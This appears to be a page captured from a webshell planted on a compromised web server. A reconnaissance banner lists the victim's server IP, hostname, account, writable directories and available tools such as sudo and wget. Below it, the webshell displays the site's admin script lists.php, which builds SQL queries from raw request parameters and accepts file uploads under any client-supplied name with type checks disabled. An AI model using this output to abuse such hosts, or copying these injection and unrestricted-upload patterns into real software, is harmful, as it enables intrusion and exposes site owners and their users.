403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/sportyone.com/public_html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/sportyone.com/public_html/admin/lists.php
<?php
	include_once("../_config.php");
	require("../fnk/thumbfnc.php");
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Deathly Intense Document</title>
<link href="/css/style.css" rel="stylesheet" type="text/css" />
</head>
<body bgcolor="#ffffff" text="#000000">
<?php
$count = array();
$mess = '';

$table = $_GET['list'];


		




 if(isset($_POST['insert']))	
				{
					$name = trim($_POST["name"]," ");
					$thumb =  trim($_POST["name"]).".jpg";
										
					
						$query = "insert into $table ";
						$query .= " (name, thumb) ";
						$query .= " values ('".$name."', '".$thumb."') ";
						
						$connection->update($query) or die("<br>check to see if you siteiate name is already entered<br>");
						
						

						 
				}
 elseif(isset($_POST['modify']))	
				{
					
					$name = trim($_POST["name"]," ");
					$thumb =  trim($_POST["name"]).".jpg";
					
				
					
						$query = "update  $table set ";
						$query .= " name = '".$name."', 
									thumb = '".$thumb."' 
									where id = '".$_POST["id"]."'";
						
						$connection->update($query) or die("<br>update<br>"); 
						
						

						$mess = 'Record Updated!<br />';
						
				}				
			elseif(isset($_POST['delete']))	
				{
				 	$query = " delete from $table 
									where id = '".$_POST["id"]."'";
						
						$connection->update($query) or die("<br>update<br>"); 
				}
			

if(isset($_FILES['userfile']['name']) && $_FILES['userfile']['name'] <> ''){
$new_name = $_FILES['userfile']['name']; //$asset_id.'.jpg';
$uploaddir = ROOT."/images/$table/";
			
	
$uploadfile = $uploaddir . $new_name;

	//For troubleshooting, show the variables - Added by Michael Moody - 10/30/07
	//echo $uploadfile;
	//echo $asset_id;
	//echo $size;
	//echo $_FILES['userfile']['name'];
	//echo '<br>';
	//echo $_FILES['userfile']['type'];
	//echo $_FILES['userfile']['error'];

	// give option to allow upload of other size
	/*if($size == "sm")
		$size = "big";
	else if($size == "big")
		$size = "sm";*/

	//The below function was added so that uploads will work in any browser

	function  image_valid($type) {
	    $file_types  = array(   
	    'image/pjpeg'     => 'jpg', 
	    'image/jpeg'     => 'jpg',
	    'image/jpeg'     => 'jpeg',
		'image/png'      => 'png',
		);
	    
		if(!array_key_exists($type, $file_types)) {
	        return "FALSE";
	    }
	    else {
	        return "TRUE";
	    }
	}

	//The below function was modified so that the function would allow any browser.

/*	if(image_valid($_FILES['userfile']['type']) === "FALSE")
		exit("\n<center>Only Jpg or png Images are allowed!</center>\n");*/

	if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
		// echo "\n<center>".$new_name ." is valid, and was successfully uploaded.</center><p>\n";
		$images_folder = $uploaddir;
		$thumbs_folder = $uploaddir;
		$from_name = $new_name;
		$image_type = 2;
		
			
				$to_name = $name.'.jpg';
				$max_x = "20";
				$max_y = "20";
				include("thumb.php");
			 


		
		echo "<center style='color: green;'>Uploaded</center><br />";
	} else {
		echo "Possible file upload attack!\n";
	}
}			
			
						
						$query = "select id, name,  thumb ";
						$query .= " from $table order by id desc ";
				
						$result = $connection->query($query);
						$count = $connection->query("SELECT FOUND_ROWS() AS `count`");	
			
?>

<script type="text/javascript">
<!--
function validate_form ( )
{
    valid = true;
    if ( document.mainform.name.value == "" )
    {
        alert ( "Please fill in the 'Site Name' box." );
        valid = false;
    }
    return valid;
}
//-->
</script>

<table width="95%" border="0" align="center" bgcolor="#ffffff" cellspacing="0" cellpadding="0">
	<tr>
	<td class="style2" align="center"><?php echo  str_replace("_", " ", strtoupper($_GET['list'])); ?></td>
	</tr>
</table>



<?php 
$act = '';
if(!empty($result) && $count[0]['count'] == '1') 
	{$act = 'modify';}
else	
	{$act = 'insert';}
	
 ?>
		<table width="800" border="1" align="center" bgcolor="#ffffff" cellspacing="0" 
				cellpadding="0" style="border:ridge 1px #cccccc;">
			<tr>
				<td bgcolor="#4a4e74" align="right" class="white"><?php echo $count[0]['count'] ?> matches for your search.</td>
			</tr>
		</table>
		
		<table width="800" border="1" align="center" bgcolor="#ffffff" 
			cellspacing="0" cellpadding="0" style="border:ridge 1px #cccccc;" class="style3">
			<tr>
				<th>Name</th>
				<th colspan="2">Thumb</th>
				<th>Delete</th>
			</tr>
			<tr><form action="lists.php?list=<?php echo $table ?>" method="post">
				
				<td colspan="1" align="center" ><input name="name" type="text" /></td>
					<td colspan="2" align="center" ></td>
				<th><input name="insert" type="submit" value="      GO!      " /></th>
				</form>
			</tr>
			<tr>
				<td colspan="4" style="height:8px;" bgcolor="#CCCCCC"></th>
				
			</tr>							
<?php foreach($result as $key => $value)
			{
			?>
			<tr><form enctype="multipart/form-data" action="lists.php?list=<?php echo $table ?>" method="post">
				<input name="sent" type="hidden" value="y" />
				<input name="id" value="<?php if(isset($value['id'])){echo $value['id'];} ?>" type="hidden" />
				<input type="hidden" name="MAX_FILE_SIZE" value="500000"/>
				<td style="border:ridge 1px #cccccc;" align="center">
				<input name="name" value="<?php if(isset($value['name'])){echo $value['name'];} ?>" type="text" />
				</td>
				<td style="border:ridge 1px #cccccc;" align="center" width="21">
					
					<img src="/images/<?php echo $table ?>/<?php echo $value["thumb"];?>"  border="0" alt="img"/>
				</td>
				<td>   <!-- Name of input element determines name in $_FILES array -->
    					Send this file: <input name="userfile" type="file" />
				</td>	
					<th style="border:ridge 1px #cccccc;"><input name="modify" type="submit" value="MODIFY!" /> <input name="delete" type="submit" value="DELETE!" /></th>
				</form>
			</tr>

			<?php } ?>
		</table>	

</body>
</html>










Youez - 2016 - github.com/yon3zu
LinuXploit